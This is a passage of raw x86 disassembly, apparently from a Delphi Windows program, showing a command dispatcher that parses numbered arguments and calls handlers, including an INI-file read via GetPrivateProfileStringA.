lea edx, [ebp - 0x3b0]
call fcn.005af56c
cmp dword [ebp - 0x3b0], 0
jne 0x5a4a7f
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1e54]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1e54]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af678
lea eax, [ebp - 0x1e60]
push eax
lea ecx, [ebp - 0x1e64]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1e64]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1e60]
lea edx, [ebp - 0x1e5c]
call fcn.00593948
mov eax, dword [ebp - 0x1e5c]
lea edx, [ebp - 0x1e58]
call fcn.0058feb0
mov edx, dword [ebp - 0x1e58]
mov eax, dword [0x5d4fcc]
call fcn.00405a98
lea eax, [ebp - 0x1e68]
push eax
lea ecx, [ebp - 0x1e6c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1e6c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1e68]
call fcn.00593654
mov edx, dword [0x5d4c50]
mov byte [edx], al
lea eax, [ebp - 0x1e70]
push eax
lea ecx, [ebp - 0x1e74]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1e74]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1e70]
call fcn.00593654
mov edx, dword [0x5d4980]
mov byte [edx], al
mov eax, dword [0x5d4f9c]
mov byte [eax], 0
mov eax, dword [0x5d4f00]
mov byte [eax], 1
xor ecx, ecx
mov dl, 1
mov eax, dword [0x57a124]
call fcn.0042a378
mov edx, dword [0x5d4cc4]
mov dword [edx], eax
mov eax, dword [0x5d4cc4]
mov eax, dword [eax]
call fcn.0058ed3c
call fcn.005b3a54
inc eax
jne 0x5a4bb3
mov eax, dword [0x5d4cc4]
mov eax, dword [eax]
call fcn.0042a830
mov eax, dword [0x5d4f9c]
cmp byte [eax], 0
je 0x5a4b93
mov eax, dword [0x5d4f00]
mov byte [eax], 0
mov eax, dword [ebp - 0x3b0]
call fcn.005af628
test al, al
jne 0x5a4c10
lea edx, [ebp - 0x1e78]
mov eax, dword [ebp - 0x3b0]
call fcn.0040ab58
mov eax, dword [ebp - 0x1e78]
push eax
lea eax, [ebp - 0x1e7c]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x1e7c]
xor edx, edx
pop eax
call fcn.0058ffac
lea edx, [ebp - 0x1e80]
mov eax, dword [0x5d4f90]
mov eax, dword [eax]
call fcn.00420598
mov eax, dword [ebp - 0x1e80]
push eax
lea edx, [ebp - 0x1e84]
mov eax, dword [ebp - 0x3b0]
call fcn.0040ab58
mov eax, dword [ebp - 0x1e84]
push eax
lea eax, [ebp - 0x1e88]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x1e88]
pop eax
pop edx
call fcn.0058ffe4
mov eax, dword [0x5d4f90]
mov eax, dword [eax]
call fcn.00404ae4
call fcn.00405444
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5aebdc
call fcn.00405e6c
jne 0x5a4f5e
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1e8c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1e8c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
lea edx, [ebp - 0x1e90]
mov eax, dword [ebp - 0x3b0]
call fcn.0058ff78
mov eax, dword [ebp - 0x1e90]
lea edx, [ebp - 0x3c0]
call fcn.0058feb0
lea eax, [ebp - 0x1e94]
push eax
lea ecx, [ebp - 0x1e98]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1e98]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1e94]
call fcn.0040b2d4
cmp eax, 6
ja case.default.0x5a4d44
jmp dword [eax*4 + 0x5a4d4b]
lea edx, [ebp - 0x1e9c]
mov eax, dword [ebp - 0x3c0]
call fcn.0040bc64
mov edx, dword [ebp - 0x1e9c]
lea eax, [ebp - 0x3c0]
call fcn.00405adc
jmp case.default.0x5a4d44
lea edx, [ebp - 0x1ea0]
mov eax, dword [ebp - 0x3c0]
call fcn.00589cac
mov edx, dword [ebp - 0x1ea0]
lea eax, [ebp - 0x3c0]
call fcn.00405adc
jmp case.default.0x5a4d44
lea edx, [ebp - 0x1ea4]
mov eax, dword [ebp - 0x3c0]
call fcn.0040bc9c
mov edx, dword [ebp - 0x1ea4]
lea eax, [ebp - 0x3c0]
call fcn.00405adc
mov eax, dword [ebp - 0x3c0]
mov dword [ebp - 0x764], eax
cmp dword [ebp - 0x764], 0
je 0x5a4dfd
mov eax, dword [ebp - 0x764]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x764], eax
cmp dword [ebp - 0x764], 0
jle case.default.0x5a4d44
mov eax, dword [ebp - 0x3c0]
cmp byte [eax], 0x2e
jne case.default.0x5a4d44
lea eax, [ebp - 0x3c0]
mov ecx, 1
mov edx, 1
call fcn.00405f7c
jmp case.default.0x5a4d44
lea edx, [ebp - 0x1eac]
mov eax, dword [ebp - 0x3c0]
call fcn.0040bb78
mov eax, dword [ebp - 0x1eac]
lea edx, [ebp - 0x1ea8]
call fcn.00589d4c
mov edx, dword [ebp - 0x1ea8]
lea eax, [ebp - 0x3c0]
call fcn.00405adc
jmp case.default.0x5a4d44
lea edx, [ebp - 0x1ebc]
mov eax, dword [ebp - 0x3c0]
call fcn.0040bb78
mov eax, dword [ebp - 0x1ebc]
lea edx, [ebp - 0x1eb8]
call fcn.0042dc40
mov eax, dword [ebp - 0x1eb8]
lea edx, [ebp - 0x1eb4]
call fcn.0040bb78
mov eax, dword [ebp - 0x1eb4]
lea edx, [ebp - 0x1eb0]
call fcn.00589d4c
mov edx, dword [ebp - 0x1eb0]
lea eax, [ebp - 0x3c0]
call fcn.00405adc
jmp case.default.0x5a4d44
lea edx, [ebp - 0x1ec4]
mov eax, dword [ebp - 0x3c0]
call fcn.0040bbac
mov eax, dword [ebp - 0x1ec4]
lea edx, [ebp - 0x1ec0]
call fcn.00589d4c
mov edx, dword [ebp - 0x1ec0]
lea eax, [ebp - 0x3c0]
call fcn.00405adc
jmp case.default.0x5a4d44
movzx eax, byte [0x5ae218]
push eax
lea eax, [ebp - 0x1ec8]
push eax
mov ecx, 0x5adbe4
mov edx, 0x5ae1ec
mov eax, dword [ebp - 0x3c0]
call fcn.004ad520
mov edx, dword [ebp - 0x1ec8]
lea eax, [ebp - 0x3c0]
call fcn.00405adc
lea eax, [ebp - 0x1ecc]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x1ecc]
mov edx, dword [ebp - 0x3c0]
mov eax, dword [ebp - 0x3b0]
call fcn.0058ffe4
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5aebf4
call fcn.00405e6c
jne 0x5a5247
xor eax, eax
push ebp
push 0x5a5240
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0059246c
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1ed0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1ed0]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x3b0]
call fcn.005af628
test al, al
jne 0x5a5004
lea edx, [ebp - 0x1ed4]
mov eax, dword [ebp - 0x3b0]
call fcn.0040ab58
mov eax, dword [ebp - 0x1ed4]
push eax
lea eax, [ebp - 0x1ed8]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x1ed8]
xor edx, edx
pop eax
call fcn.0058ffac
lea eax, [ebp - 0x1ee0]
push eax
lea ecx, [ebp - 0x1ee4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1ee4]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1ee0]
lea edx, [ebp - 0x1edc]
call fcn.0058feb0
cmp dword [ebp - 0x1edc], 0
je 0x5a509c
lea eax, [ebp - 0x1eec]
push eax
lea ecx, [ebp - 0x1ef0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1ef0]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1eec]
lea edx, [ebp - 0x1ee8]
call fcn.0058feb0
cmp dword [ebp - 0x1ee8], 0
jne 0x5a50ac
lea eax, [ebp - 0x3c0]
call fcn.00405a44
jmp 0x5a51f6
mov eax, 0x6590
call fcn.00402fb0
mov esi, eax
xor eax, eax
push ebp
push 0x5a51e1
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1ef8]
push eax
lea ecx, [ebp - 0x1efc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1efc]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1ef8]
lea edx, [ebp - 0x1ef4]
call fcn.0058feb0
mov eax, dword [ebp - 0x1ef4]
call fcn.00405ed4
push eax
push 0x6590
push esi
push 0x5ae21c
lea eax, [ebp - 0x1f04]
push eax
lea ecx, [ebp - 0x1f08]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1f08]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1f04]
lea edx, [ebp - 0x1f00]
call fcn.0058feb0
mov eax, dword [ebp - 0x1f00]
call fcn.00405ed4
push eax
lea eax, [ebp - 0x1f10]
push eax
lea ecx, [ebp - 0x1f14]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1f14]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1f10]
lea edx, [ebp - 0x1f0c]
call fcn.0058feb0
mov eax, dword [ebp - 0x1f0c]
call fcn.00405ed4
push eax
call sub.kernel32.dll_GetPrivateProfileStringA
lea eax, [ebp - 0x3c0]
mov edx, esi
call fcn.00405c3c
mov eax, esi
call fcn.00402fcc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a51f6
lea eax, [ebp - 0x1f18]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x1f18]
mov edx, dword [ebp - 0x3c0]
mov eax, dword [ebp - 0x3b0]
call fcn.0058ffe4
call fcn.00405444
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5aec14
call fcn.00405e6c
jne 0x5a57ba
lea edx, [ebp - 0x1f1c]
mov eax, 0x5ad84c
call fcn.0058ff78
mov edx, dword [ebp - 0x1f1c]
mov eax, dword [0x5d508c]
call fcn.00405a98
lea eax, [ebp - 0x1f20]
push eax
lea ecx, [ebp - 0x1f24]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1f24]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1f20]
lea edx, [ebp - 0x3d0]
call fcn.00593948
cmp dword [0x5dbd5c], 0
je 0x5a5339
push 0
lea eax, [ebp - 0x1f2c]
push eax
lea eax, [ebp - 0x1f30]
push eax
lea ecx, [ebp - 0x1f34]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1f34]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov edx, dword [ebp - 0x1f30]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b24d0
mov eax, dword [ebp - 0x1f2c]
lea edx, [ebp - 0x1f28]
call fcn.00593948
mov edx, dword [ebp - 0x1f28]
lea eax, [ebp - 0x3d0]
call fcn.00405adc
xor eax, eax
push ebp
push 0x5a57ab
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1f3c]
push eax
lea ecx, [ebp - 0x1f40]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1f40]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1f3c]
lea edx, [ebp - 0x1f38]
call fcn.0058feb0
mov eax, dword [ebp - 0x1f38]
push eax
lea eax, [ebp - 0x1f48]
push eax
lea ecx, [ebp - 0x1f4c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1f4c]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1f48]
lea edx, [ebp - 0x1f44]
call fcn.0058feb0
mov eax, dword [ebp - 0x1f44]
push eax
lea eax, [ebp - 0x1f54]
push eax
lea ecx, [ebp - 0x1f58]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1f58]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1f54]
lea edx, [ebp - 0x1f50]
call fcn.0058feb0
mov eax, dword [ebp - 0x1f50]
push eax
lea eax, [ebp - 0x1f60]
push eax
lea ecx, [ebp - 0x1f64]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1f64]
mov ecx, 7
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1f60]
lea edx, [ebp - 0x1f5c]
call fcn.0058feb0
mov eax, dword [ebp - 0x1f5c]
call fcn.0040b2d4
push eax
lea eax, [ebp - 0x1f6c]
push eax
lea ecx, [ebp - 0x1f70]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1f70]
mov ecx, 8
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1f6c]
lea edx, [ebp - 0x1f68]
call fcn.0058feb0
mov eax, dword [ebp - 0x1f68]
call fcn.00593654
push eax
lea eax, [ebp - 0x1f78]
push eax
lea ecx, [ebp - 0x1f7c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1f7c]
mov ecx, 9
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1f78]
lea edx, [ebp - 0x1f74]
call fcn.0058feb0
mov eax, dword [ebp - 0x1f74]
call fcn.00593654
push eax
lea eax, [ebp - 0x1f84]
push eax
lea ecx, [ebp - 0x1f88]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1f88]
mov ecx, 0xa
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1f84]
lea edx, [ebp - 0x1f80]
call fcn.0058feb0
mov eax, dword [ebp - 0x1f80]
call fcn.00593654
push eax
lea eax, [ebp - 0x1f90]
push eax
lea ecx, [ebp - 0x1f94]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1f94]
mov ecx, 0xb
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1f90]
lea edx, [ebp - 0x1f8c]
call fcn.0058feb0
mov eax, dword [ebp - 0x1f8c]
call fcn.00593654
push eax
lea eax, [ebp - 0x1f9c]
push eax
lea ecx, [ebp - 0x1fa0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1fa0]
mov ecx, 0xc
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1f9c]
lea edx, [ebp - 0x1f98]
call fcn.0058feb0
mov eax, dword [ebp - 0x1f98]
call fcn.00593654
push eax
lea eax, [ebp - 0x1fa8]
push eax
lea ecx, [ebp - 0x1fac]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1fac]
mov ecx, 0xd
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1fa8]
lea edx, [ebp - 0x1fa4]
call fcn.0058feb0
mov eax, dword [ebp - 0x1fa4]
call fcn.00593654
push eax
lea eax, [ebp - 0x1fb4]
push eax
lea ecx, [ebp - 0x1fb8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1fb8]
mov ecx, 0xe
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1fb4]
lea edx, [ebp - 0x1fb0]
call fcn.0058feb0
mov eax, dword [ebp - 0x1fb0]
call fcn.0040b2d4
push eax
lea eax, [ebp - 0x1fc0]
push eax
lea ecx, [ebp - 0x1fc4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1fc4]
mov ecx, 0xf
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1fc0]
lea edx, [ebp - 0x1fbc]
call fcn.0058feb0
mov eax, dword [ebp - 0x1fbc]
call fcn.0040b2d4
push eax
lea eax, [ebp - 0x1fcc]
push eax
lea ecx, [ebp - 0x1fd0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1fd0]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1fcc]
lea edx, [ebp - 0x1fc8]
call fcn.0058feb0
mov eax, dword [ebp - 0x1fc8]
push eax
lea eax, [ebp - 0x1fd8]
push eax
lea ecx, [ebp - 0x1fdc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1fdc]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1fd8]
lea edx, [ebp - 0x1fd4]
call fcn.0058feb0
mov eax, dword [ebp - 0x1fd4]
push eax
lea edx, [ebp - 0x1fe0]
mov eax, dword [ebp - 0x3d0]
call fcn.0058feb0
mov eax, dword [ebp - 0x1fe0]
pop edx
pop ecx
call fcn.0057ab8c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5aec2c
call fcn.00405e6c
jne 0x5a618b
lea edx, [ebp - 0x1fe4]
mov eax, 0x5ad84c
call fcn.0058ff78
mov edx, dword [ebp - 0x1fe4]
mov eax, dword [0x5d508c]
call fcn.00405a98
push 0x5adec8
lea eax, [ebp - 0x1fec]
push eax
lea ecx, [ebp - 0x1ff0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1ff0]
mov ecx, 9
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1fec]
lea edx, [ebp - 0x1fe8]
call fcn.0058feb0
mov eax, dword [ebp - 0x1fe8]
lea ecx, [ebp - 0x424]
lea edx, [ebp - 0x420]
call fcn.0058e524
push 0x5adec8
lea eax, [ebp - 0x1ff8]
push eax
lea ecx, [ebp - 0x1ffc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1ffc]
mov ecx, 0xa
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1ff8]
lea edx, [ebp - 0x1ff4]
call fcn.0058feb0
mov eax, dword [ebp - 0x1ff4]
lea ecx, [ebp - 0x42c]
lea edx, [ebp - 0x428]
call fcn.0058e524
cmp dword [ebp - 0x42c], 0
jne 0x5a58c7
lea eax, [ebp - 0x42c]
mov edx, 0x5ad604
call fcn.00405adc
xor eax, eax
push ebp
push 0x5a6184
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0059246c
lea eax, [ebp - 0x2000]
push eax
lea ecx, [ebp - 0x2004]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2004]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x2000]
lea edx, [ebp - 0x3d0]
call fcn.00593948
lea eax, [ebp - 0x2008]
push eax
lea ecx, [ebp - 0x200c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x200c]
mov ecx, 0xc
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x2008]
lea edx, [ebp - 0x3d4]
call fcn.00593948
lea eax, [ebp - 0x2010]
push eax
lea ecx, [ebp - 0x2014]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2014]
mov ecx, 0xd
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x2010]
lea edx, [ebp - 0x3d8]
call fcn.00593948
cmp dword [0x5dbd5c], 0
je 0x5a5b00
push 0
lea eax, [ebp - 0x201c]
push eax
lea eax, [ebp - 0x2020]
push eax
lea ecx, [ebp - 0x2024]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2024]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov edx, dword [ebp - 0x2020]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b24d0
mov eax, dword [ebp - 0x201c]
lea edx, [ebp - 0x2018]
call fcn.00593948
mov edx, dword [ebp - 0x2018]
lea eax, [ebp - 0x3d0]
call fcn.00405adc
push 0
lea eax, [ebp - 0x202c]
push eax
lea eax, [ebp - 0x2030]
push eax
lea ecx, [ebp - 0x2034]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2034]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov edx, dword [ebp - 0x2030]
mov ecx, 2
mov eax, dword [ebp - 0x3d4]
call fcn.005b24d0
mov eax, dword [ebp - 0x202c]
lea edx, [ebp - 0x2028]
call fcn.00593948
mov edx, dword [ebp - 0x2028]
lea eax, [ebp - 0x3d4]
call fcn.00405adc
push 0
lea eax, [ebp - 0x203c]
push eax
lea eax, [ebp - 0x2040]
push eax
lea ecx, [ebp - 0x2044]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2044]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov edx, dword [ebp - 0x2040]
mov ecx, 3
mov eax, dword [ebp - 0x3d8]
call fcn.005b24d0
mov eax, dword [ebp - 0x203c]
lea edx, [ebp - 0x2038]
call fcn.00593948
mov edx, dword [ebp - 0x2038]
lea eax, [ebp - 0x3d8]
call fcn.00405adc
xor eax, eax
push ebp
push 0x5a615d
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x204c]
push eax
lea ecx, [ebp - 0x2050]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2050]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x204c]
lea edx, [ebp - 0x2048]
call fcn.0058feb0
mov eax, dword [ebp - 0x2048]
call fcn.00593654
push eax
lea eax, [ebp - 0x2058]
push eax
lea ecx, [ebp - 0x205c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x205c]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x2058]
lea edx, [ebp - 0x2054]
call fcn.0058feb0
mov eax, dword [ebp - 0x2054]
call fcn.00593654
push eax
lea eax, [ebp - 0x2064]
push eax
lea ecx, [ebp - 0x2068]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2068]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x2064]
lea edx, [ebp - 0x2060]
call fcn.0058feb0
mov eax, dword [ebp - 0x2060]
call fcn.00593654
push eax
lea eax, [ebp - 0x2070]
push eax
lea ecx, [ebp - 0x2074]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2074]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x2070]
lea edx, [ebp - 0x206c]
call fcn.0058feb0
mov eax, dword [ebp - 0x206c]
call fcn.00593654
push eax
lea eax, [ebp - 0x207c]
push eax
lea ecx, [ebp - 0x2080]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2080]
mov ecx, 7
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x207c]
lea edx, [ebp - 0x2078]
call fcn.0058feb0
mov eax, dword [ebp - 0x2078]
call fcn.00593654
push eax
lea eax, [ebp - 0x2088]
push eax
lea ecx, [ebp - 0x208c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x208c]
mov ecx, 8
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x2088]
lea edx, [ebp - 0x2084]
call fcn.0058feb0
mov eax, dword [ebp - 0x2084]
call fcn.00593654
push eax
mov eax, dword [ebp - 0x420]
call fcn.0040b2d4
push eax
mov eax, dword [ebp - 0x428]
call fcn.0040b2d4
push eax
lea eax, [ebp - 0x2094]
push eax
lea ecx, [ebp - 0x2098]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2098]
mov ecx, 0xb
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x2094]
lea edx, [ebp - 0x2090]
call fcn.0058feb0
mov eax, dword [ebp - 0x2090]
call fcn.00593654
push eax
lea edx, [ebp - 0x209c]
mov eax, dword [ebp - 0x3d4]
call fcn.0058feb0
mov eax, dword [ebp - 0x209c]
push eax
lea edx, [ebp - 0x20a0]
mov eax, dword [ebp - 0x3d8]
call fcn.0058feb0
mov eax, dword [ebp - 0x20a0]
push eax
lea eax, [ebp - 0x20a8]
push eax
lea ecx, [ebp - 0x20ac]
mov edx, dword [ebp - 0x534]
dec edx
